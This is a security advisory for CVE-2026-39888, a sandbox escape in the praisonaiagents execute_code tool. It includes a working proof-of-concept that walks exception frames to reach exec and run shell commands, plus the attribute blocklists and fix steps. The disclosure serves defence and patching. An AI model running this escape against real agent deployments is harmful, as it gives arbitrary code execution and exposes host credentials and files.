CVE-2026-39888: PraisonAIAgents has a sandbox escape via exception frame traversal in `execute_code` (subprocess mode)
Summary
executecode() in praisonaiagents.tools.pythontools defaults to sandboxmode="sandbox", which runs user code in a subprocess wrapped with a restricted builtins dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blockedattrs, line 143 of pythontools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:
| Attribute | In subprocess blockedattrs | In direct-mode blockedattrs | |---|---|---| | traceback | NO | YES | | tbframe | NO | YES | | fback | NO | YES | | fbuiltins | NO | YES |
Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer.
Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.
---
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical
| Vector | Value | Rationale | |---|---|---| | AV:N | Network | executecode is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments | | AC:L | Low | No race conditions or special configuration required | | PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) | | UI:N | None | No victim interaction | | S:C | Changed | Escapes subprocess sandbox into full host process context | | C:H | High | Arbitrary file read, environment variable access, credential exfiltration | | I:H | High | Arbitrary file write, arbitrary code execution on host | | A:H | High | Can terminate processes, exhaust resources |
---
Affected
- Package: praisonaiagents (PyPI) - Affected versions: all versions shipping sandboxmode="sandbox" (default since introduction) through 1.5.113 - Patched versions: none at time of report - File: praisonaiagents/tools/pythontools.py
---
Root Cause
Two separate blockedattrs sets — one much weaker than the other
validatecodeast() (line 39, used by direct mode) blocks 30+ attributes:
python pythontools.py line 52 — direct mode (FULL list, correctly includes frame attrs) blockedattrs = frozenset({ 'subclasses', 'bases', 'mro', 'globals', 'code', 'class', 'dict', 'builtins', 'import', 'loader', 'spec', 'initsubclass', 'setname', 'reduce', 'reduceex', 'traceback', 'qualname', 'module', # ← present here 'wrapped', 'closure', 'annotations', 'giframe', 'gicode', 'crframe', 'crcode', 'agframe', 'agcode', 'tbframe', 'tbnext', # ← present here 'fglobals', 'flocals', 'fbuiltins', 'fcode', # ← present here 'coconsts', 'conames', })
The subprocess wrapper script written to disk (line 143) uses a separate, inline blockedattrs with only 11 entries — the frame-traversal attrs are missing:
python pythontools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs) blockedattrs = { 'subclasses', 'bases', 'mro', 'globals', 'code', 'class', 'dict', 'builtins', 'import', 'loader', 'spec' # traceback, tbframe, fback, fbuiltins — all absent }
safegetattr does not protect direct dot-notation access
safegetattr replaces the getattr builtin and blocks attribute names starting with . However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tpgetattro slot and never passes through safegetattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.
No text-pattern blocklist in subprocess mode
executecodedirect applies a text-pattern blocklist (dangerouspatterns) as a defence-in-depth layer. executecodesandboxed has no such layer — only the AST check runs.
---
Proof of Concept
python import os os.environ["PRAISONAIAUTOAPPROVE"] = "true" from praisonaiagents.tools.pythontools import executecode
CMD = "id" # any shell command
payload = f""" try: 1/0 except ZeroDivisionError as e: p = e.traceback.tbframe.fback x = p.fbuiltins["exec"] x("import subprocess; print(subprocess.checkoutput({repr(CMD)}, shell=True).decode())", {{"builtins": p.fbuiltins}}) """
result = executecode(code=payload) print(result["stdout"])
Output (praisonaiagents 1.5.113, Python 3.10):
uid=1000(user) gid=1000(user) groups=1000(user) <img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />
Why each defence is bypassed:
| Layer | Status | Reason | |---|---|---| | AST blockedattrs | BYPASSED | traceback, tbframe, fback, fbuiltins not in 11-item subprocess list | | safegetattr | BYPASSED | Only intercepts getattr() calls; dot notation uses C-level tpgetattro | | exec-by-name AST check | BYPASSED | Called as x(...) — func.id is 'x', not 'exec' | | Text-pattern blocklist | N/A | Does not exist in subprocess mode | | Subprocess process isolation | BYPASSED | Frame traversal reaches real builtins within the subprocess |
---
Attack Chain
executecode(payload) └─ executecodesandboxed() └─ subprocess: exec(usercode, safeglobals) └─ usercode raises ZeroDivisionError └─ e.traceback ← traceback not in blockedattrs └─ .tbframe ← tbframe not in blockedattrs └─ .fback ← fback not in blockedattrs └─ .fbuiltins ← fbuiltins not in blockedattrs └─ ["exec"] ← dict subscript, no attr check └─ x("import subprocess; ...") └─ RCE
---
Impact
Any application that exposes executecode to user-controlled or LLM-generated input — including all standard PraisonAI agent deployments — is fully compromised by a single API call:
- Arbitrary command execution on the host (in the subprocess user context) - File system read/write — source code, credentials, .env files, SSH keys - Environment variable exfiltration — API keys, secrets passed to the agent process - Network access — outbound connections to attacker infrastructure unaffected by env={} - Lateral movement — the subprocess inherits the host's network stack and filesystem
---
Suggested Fix
1. Merge blockedattrs into a single shared constant
The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blockedattrs in the wrapper template with the full set:
python Add to subprocess wrapper template (pythontools.py ~line 143): blockedattrs = { 'subclasses', 'bases', 'mro', 'globals', 'code', 'class', 'dict', 'builtins', 'import', 'loader', 'spec', 'initsubclass', 'setname', 'reduce', 'reduceex', 'traceback', 'qualname', 'module', # ← ADD 'wrapped', 'closure', 'annotations', # ← ADD 'giframe', 'gicode', 'crframe', 'crcode', # ← ADD 'agframe', 'agcode', 'tbframe', 'tbnext', # ← ADD 'fglobals', 'flocals', 'fbuiltins', 'fcode', # ← ADD 'coconsts', 'conames', # ← ADD }
2. Block all -prefixed attribute access at AST level
safegetattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with :
python if isinstance(node, ast.Attribute) and node.attr.startswith(''): return f"Access to private attribute '{node.attr}' is restricted"
3. Add the text-pattern layer to subprocess mode
Mirror executecodedirect's dangerouspatterns check in executecodesandboxed as defence-in-depth.
---
References
- Affected file: praisonaiagents/tools/pythontools.py (PyPI: praisonaiagents) - CWE-693: Protection Mechanism Failure - CWE-657: Violation of Secure Design Principles
Other sources
PraisonAI is a multi-agent teams system. Prior to 1.5.115, executecode() in praisonaiagents.tools.pythontools defaults to sandboxmode="sandbox", which runs user code in a subprocess wrapped with a restricted builtins dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blockedattrs of pythontools.py) contains only 11 attribute names — a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list (traceback, tbframe, fback, and fbuiltins). Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name — bypassing every remaining security layer. This vulnerability is fixed in 1.5.115.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.5.115 - Upgrade
Upgrade
praisonaiagentsto a version that resolves this vulnerability.Fixed in 1.5.115 - Configuration
In the subprocess wrapper template (python_tools.py around line 143), remove the separate short blocked_attrs definition and have sandboxed subprocess mode use the same shared/merged attribute blocklist as direct mode (_blocked_attrs), so dot-notation attribute access cannot reach frame traversal and builtins.
praisonaiagents/tools/python_tools.py (_execute_code_sandboxed subprocess wrapper, sandbox_mode="sandbox") blocked_attrs = Replace the inline 11-item subprocess wrapper blocked_attrs set with the full set used by _execute_code_direct (the 30+ names that block underscore-prefixed/frame-traversal attributes such as __traceback__, tb_frame, f_back, f_builtins, and related frame traversal chain attributes).